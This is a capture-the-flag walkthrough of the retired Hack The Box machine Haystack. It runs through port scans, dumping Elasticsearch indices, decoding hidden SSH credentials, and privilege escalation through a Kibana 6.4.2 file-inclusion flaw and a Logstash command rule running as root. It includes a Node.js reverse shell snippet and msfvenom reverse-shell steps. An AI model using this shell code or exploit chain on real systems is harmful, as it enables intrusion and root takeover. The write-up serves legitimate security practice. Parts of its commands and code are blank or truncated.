This post documents the complete walkthrough of Haystack, a retired vulnerable VM created by JoyDragon, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post


Haystack is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun0 -p1-65535,U:1-65535 --rate=1000

Starting masscan 1.0.4 ( at 2019-07-01 01:21:56 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 80/tcp on                                    
Discovered open port 22/tcp on                                    
Discovered open port 9200/tcp on

Nothing unusual with the ports. Let's do one better with nmap scanning the discovered ports to establish their services.

# nmap -n -v -Pn -p22,80,9200 -A --reason -oN nmap.txt
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
|   2048 2a:8d:e2:92:8b:14:b6:3f:e4:2f:3a:47:43:23:8b:2b (RSA)
|   256 e7:5a:3a:97:8e:8e:72:87:69:a3:0d:d1:00:bc:1f:09 (ECDSA)
|_  256 01:d2:59:b2:66:0a:97:49:20:5f:1c:84:eb:81:ed:95 (ED25519)
80/tcp   open  http    syn-ack ttl 63 nginx 1.12.2
| http-methods:
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (text/html).
9200/tcp open  http    syn-ack ttl 63 nginx 1.12.2
|_http-favicon: Unknown favicon MD5: 6177BFB75B498E0BB356223ED76FFE43
| http-methods:
|   Supported Methods: HEAD DELETE GET OPTIONS
|_  Potentially risky methods: DELETE
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (application/json; charset=UTF-8).

Interesting. 80/tcp and 9200/tcp appear to be Nginx http services. This is what they look like in a browser.



Needle in a haystack indeed :laughing:



Now, this is interesting. Elasticsearch is in the house.

How to use Elasticsearch

Let's see how we can find the needle in the haystack.

Listing all the indices in the node


Notice the size of the indices? Keep that in mind because we are going to use it later.

Listing all the documents in an index


By default, Elasticsearch displays ten results. In order to include all the results, we need the size parameter. Let's switch to curl and download the two indices.

# curl -s "*:*&size=1000" > bank
# curl -s "*:*&size=1000" > quotes

Analysis of needle.jpg

OK, what’s next? In order to search for the needle in the haystack, we need to know what are we looking for in the first place. To do that, we turn our attention to needle.jpg.

Check out the strings in the file.


This string is base64-decoded to la aguja en el pajar es “clave”. Damn, what does it even mean? Google Translate to the rescue.


Duh? :fu:

Anyways, that line is cliché and it looks like it’s straight out of a book of quotations. :wink: With that in mind, let's see what we can find in the quotes index.


There’s more.


They are decoded to the following:

user: security

This must the key to SSH login. What do you know, the file user.txt is at the home directory.


Privilege Escalation

During enumeration of security’s account, I noticed Kibana 6.4.2 is installed. This version coincides with the version first seen at the 9200/tcp page.


This version is susceptible to a Local File Inclusion (LFI) that can be exploited to gain remote access, according to this discovery.

It’s not hard to exploit. First, create a reverse shell written in Node.js.

    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/bash", []);
    var client = new net.Socket();
    client.connect(4444, "", function(){
    return /a/; // Prevents the Node.js application form crashing

scp the file to a tmpfs mount, e.g. /dev/shm.

Launch the exploit with curl in the remote machine like so.

$ curl -s ""

You should get a reverse shell as kibana.


You must be thinking, “what good is a shell as kibana?”. Well, check out the permissions that kibana has.


And, check out the contents of /etc/logstash/conf.d.


First of all, the machine is running an Elasticsearch, Logstash, and Kibana (ELK) stack. Secondly, the input, filter and output plugins are geared towards execution.

Getting root.txt

In addition, Logstash is running as root. The creator is so kind! :roll_eyes:


Armed with that insight, here’s how we are going to get our root shell.

  1. Use msfvenom to create a reverse shell, name it lame
  2. scp to /dev/shm/lame
  3. echo "Ejecutar comando: /dev/shm/lame" > /opt/kibana/logstash_lame
  4. Wait and profit…


There you have it. Getting root.txt is trivial with a root shell.